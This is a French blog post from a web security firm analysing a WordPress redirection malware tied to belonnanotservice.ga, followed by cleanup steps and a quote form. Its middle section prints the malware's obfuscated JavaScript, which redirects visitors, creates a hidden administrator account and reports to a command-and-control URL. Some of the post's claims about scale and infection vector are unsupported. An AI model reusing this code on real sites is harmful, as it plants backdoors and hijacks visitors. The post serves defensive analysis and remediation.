Belonnanotaservice.ga un malware de redirection wordpress
Dans le cadre de nos missions nous observons depuis plusieurs jours un malware de redirection assez virulent vers https://vol.belonnanotaservice.ga qui sévit sur les WordPress alors que les administrateurs n’apportent aucune modification à leur installation.
Cela se remarque depuis une récente mise à jour de WordPress, des millions de sites web se sont vus contaminés par un hack de redirection, modifiant des données dans votre base de données telles que : site_url et home dans la table wp_options.
De ce fait, votre nom de domaine/site redirigera vers un autre site malicieux, du nom de « vol.belonnanotservice .ga/export » (ou une autre adresse que votre site).
Celui-ci redirige les urls de votre site vers le sien lui permettant de générer des revenus via des régies publicitaires peu regardantes :
Page de redirection du malware.
Le malware a fait l’objet d’une rétroingénieurie (reverse-engeenering) par nos spécialistes en cybersécurité sous la direction de Katrina Halina et les conclusions sont intéressantes…
Belonnanotaservice.ga est un botnet
Il ne s’agit pas simplement d’un malware en shell php commun comme nous avons l’habitude d’en croiser dans le cas des plugins nulled mais d’un véritable botnet communiquant avec une interface de contrôle central comme en témoigne ce code déchiffré :
var _0x2eabe6=_0x1856;function _0x2d36(){var _0x979262=['href','location','send','GET','https://stat.belonnanotservice.ga/a.php?u=','POST','2984086SktrSK','_wpnonce_create-user','jQuery','3220KtEhrr','mainwpadmin','administrator','5026644QEzVmq','hostname','225DCNWVH','8172332puMpQV','93056NGNUOr','8630tNLMDX','193764nZWSVy','log','1938948fCEjtI','Add+New+User','simple','ajax','/awa-admin/user-new.php','protocol','5675865833568','exec','open','http://simple.com/','indexOf','match'];_0x2d36=function(){return _0x979262;};return _0x2d36();}(function(_0x4d84f0,_0x547eef){var _0x222ea1=_0x1856,_0x19a50e=_0x4d84f0();while(!![]){try{var _0x1ab1bc=parseInt(_0x222ea1(0x17e))/0x1+parseInt(_0x222ea1(0x172))/0x2+-parseInt(_0x222ea1(0x178))/0x3+-parseInt(_0x222ea1(0x175))/0x4*(-parseInt(_0x222ea1(0x17d))/0x5)+parseInt(_0x222ea1(0x180))/0x6+-parseInt(_0x222ea1(0x17b))/0x7+-parseInt(_0x222ea1(0x17c))/0x8*(-parseInt(_0x222ea1(0x17a))/0x9);if(_0x1ab1bc===_0x547eef)break;else _0x19a50e['push'](_0x19a50e['shift']());}catch(_0x1e11a3){_0x19a50e['push'](_0x19a50e['shift']());}}}(_0x2d36,0xce95b));var site=window[_0x2eabe6(0x16d)][_0x2eabe6(0x165)]+'//'+window[_0x2eabe6(0x16d)]['hostname'],kurl=window[_0x2eabe6(0x16d)][_0x2eabe6(0x16c)],m=0;console[_0x2eabe6(0x17f)](m);if(m==0x0){var k = window.location.href; if(k.indexOf('wp-admin') != -1) {} else{if(kurl[_0x2eabe6(0x16a)]('wp-login.php')!==-0x1){}else flyme();}}else defer(function(){ddddooit();});function ddddooit(){var _0x52118e=_0x2eabe6,_0x51dfbc=jQuery['noConflict']();_0x51dfbc[_0x52118e(0x163)]({'url':site+_0x52118e(0x164),'method':_0x52118e(0x16f),'success':function(_0x5dbc12){var _0x12c589=_0x52118e,_0x3fc83e=/name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;if(_0x5dbc12[_0x12c589(0x16a)](_0x12c589(0x173))!==-0x1){var _0x3a9c15=_0x3fc83e[_0x12c589(0x167)](_0x5dbc12);if(_0x3a9c15[0x2][_0x12c589(0x16b)](/([a-z0-9]{10})/)){var _0xab464c=_0x3a9c15[0x2];_0x51dfbc[_0x12c589(0x163)]({'url':site+_0x12c589(0x164),'method':_0x12c589(0x171),'data':{'action':'createuser','_wpnonce_create-user':_0xab464c,'_wp_http_referer':_0x12c589(0x164),'user_login':_0x12c589(0x176),'email':'[email protected]','first_name':_0x12c589(0x162),'last_name':_0x12c589(0x162),'url':_0x12c589(0x169),'pass1':_0x12c589(0x166),'pass1-text':_0x12c589(0x166),'pass2':_0x12c589(0x166),'send_user_notification':0x0,'role':_0x12c589(0x177),'createuser':_0x12c589(0x161)},'success':function(_0x4a113d){var _0x17a42d=_0x12c589;httpGet(_0x17a42d(0x170)+site);}});}}}});}function defer(_0x323b0a){var _0x49ee25=_0x2eabe6;window[_0x49ee25(0x174)]?_0x323b0a():setTimeout(function(){defer(_0x323b0a);},0x32);}function httpGet(_0x21747c){var _0x3d229b=_0x2eabe6,_0x4af436=new XMLHttpRequest();return _0x4af436[_0x3d229b(0x168)](_0x3d229b(0x16f),_0x21747c,![]),_0x4af436[_0x3d229b(0x16e)](null),_0x4af436['responseText'];}function checkme(){var _0x18754b=_0x2eabe6,_0x1c74cd=window[_0x18754b(0x16d)][_0x18754b(0x165)]+'//'+window[_0x18754b(0x16d)][_0x18754b(0x179)],_0x4e9070=httpGet(_0x1c74cd+_0x18754b(0x164)),_0x1da31b=/name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;if(_0x4e9070['indexOf'](_0x18754b(0x173))!==-0x1)return 0x1;return 0x0;}function _0x1856(_0x4df03e,_0x320613){var _0x2d36e2=_0x2d36();return _0x1856=function(_0x185680,_0x5e91fb){_0x185680=_0x185680-0x161;var _0x1bf975=_0x2d36e2[_0x185680];return _0x1bf975;},_0x1856(_0x4df03e,_0x320613);}function flyme(){eval(var v = "https://click.belonnanotservice.ga/job.php?m=0";document.location.href=v;window.location.replace(v););}
Code obfusqué : https://malwaredecoder.com/result/3e91fcd8b456edb445f9ffa6acfa329a
Les données de votre serveur sont ainsi envoyées à une interface de contrôle maître du botnet (C&C) à l’url https://stat.belonnanotservice.ga/a.php
Le cybercriminel peut alors contrôler votre serveur à distance (via son sous-domaine identifié par nos services à http://admin.belonnanotservice.ga ) en envoyant des requêtes à votre site wordpress via l’API XML-RPC et l’API REST que nous vous conseillons de désactiver au plus vite :
Ainsi certains utilisateurs ont constaté la présence de nouveaux articles et même des administrateurs cachés crées à leur insu :
Comment le malware belonnanotaservice.ga fait il pour s’installer à mon insu ?
La cause de ce botnet est une mise à jour automatique du cœur de wordpress déclenchant l’activation d’un botnet : en effet celui-ci est préalablement présent sur votre installation mais ne s’active que postérieurement. Il n’est donc pas détectable a priori car seule une backdoor est présente (injecteur). Le malware quant à lui ne se télécharge qu’à la détection de la mise à jour (droppeur).
Quelle faille le botnet belonnanotaservice.ga utilise pour s’injecter ?
La faille en question repose dans Gutemberg mais aussi le framework redux (https://redux.io), celui-ci ne vous dit peut être rien mais il est employé par de nombreux plugins et thèmes sans que vous le sachiez comme AMP.
Bien évidemment les plugins nulled ne font pas exception et nous avons pu déjà constater des infections dans des copies pirates du plugin WP Rocket :
En clair, bien que ce plugin n’utilise a priori pas ce framework, le hackeur va quand même l’insérer dans la copie pirate car ce framework n’étant pas répertorié comme virus il ne sera pas détecté par les antimalwares wordpress comme Wordfence ou Sucuri, alors que celui-ci va permettre l’installation future du malware.
Comment désinfecter le malware de redirection vol.belonnanotaservice.ga de votre wordpress ?
Tout d’abord vous devez suivre préalablement les mesures énoncées dans notre guide pour circonscrire l’infection :
Ensuite voici les mesures de correction à adopter propre à ce malware :
- Désactivez et supprimez les plugins utilisant redux
- Réinstallez les de 0 en prenant soin de télécharger une mise à jour corrective patchant la faille provenant d’un site officiel.
Si le plugin est nulled, renoncez-y. - Supprimez le cache dans /wp-content/cache/ (le malware y est persistant)
- Si vous utilisez un cache côté serveur comme redis, utilisez la commande flush (là aussi le malware y est persistant)
- Désactivez l’API XML-RPC et REST, celles-ci sont employées par le botnet qui sollicitera en permanence votre serveur pour tenter de le réinfecter.
- Avec ces commandes SQL, renommez les redirections faites par le plugin vers l’url de votre site :
UPDATE `wp_options` SET `option_id` = '1', `option_name` = 'siteurl', `option_value` = 'https://www.votre-site.fr/', `autoload` = 'yes' WHERE `autoload` = 'yes' AND `autoload` = 'yes' COLLATE utf8mb4_bin AND `option_id` = '1'; UPDATE `wp_options` SET `option_id` = '37', `option_name` = 'home', `option_value` = 'https://www.votre-site.fr/', `autoload` = 'yes' WHERE `autoload` = 'yes' AND `autoload` = 'yes' COLLATE utf8mb4_bin AND `option_id` = '37';
Pensez évidemment à remplacer « votre-site.fr » par l’adresse de votre site.
Une fois cela fait, pensez à vider le cache de votre site manuellement par FTP (par exemple supprimer le dossier wp-content/cache), ainsi que tout cache de base de données tel que REDIS (redis-cli flushall).
À noter qu’il est également possible que les données SEO de votre page d’accueil ou les paramètres généraux aient sautés. Pour cela, vous n’aurez pas d’autre choix que de restaurer un backup antérieure au piratage, ou bien conserver dans un coin la requête SQL qui permet de mettre à jour l’option « wpseo » (pour Yoast).
Si vous avez besoin d’aide dans la désinfection ou que celle-ci demeure persistante malgré nos recommandations, des analyses plus poussées sont nécessaires. Pour cela, nos experts en cybersécurité sont à votre disposition pour un devis , contactez nous !
Appliquer automatiquement le correctif temporaire
Si vous ne souhaitez pas avoir à vérifier chaque jour si votre site est tombé, une des solutions est de créer un fichier PHP comportant les requêtes SQL ci-dessus, et à l’ajouter à votre liste des tâches programmée crontab (par exemple chaque heure).
Spécifications de votre projet
Suivez les différentes étapes pour générer le cahier des charges de votre projet
Félicitations, nous vous avons envoyé vos spécifications par e-mail et nous vous répondrons sous peu!
A propos de votre projet
Quel est l'objectif de votre projet?
Optimisation du serveur
Que voulez-vous optimiser ?
Configuration du serveur
Quelles fonctionnalités aimeriez-vous que nous implémentions?
Parlez-nous de votre serveur
Nous avons besoin de connaître les spécifications de votre serveur pour savoir comment nous pourrions vous aider
Quel est son système d'exploitation, CPU, RAM & capacité de lecteur etc. Et aussi les paquets que vous avez installés (Apache, Nginx, PHP ...). Si vous n'avez pas encore de serveur, veuillez nous en informer.
Votre cahier des charges a été généré
Votre projet est estimé à:
Summary
Description | Information | Quantité | Prix |
---|---|---|---|
Discount : | |||
Total : |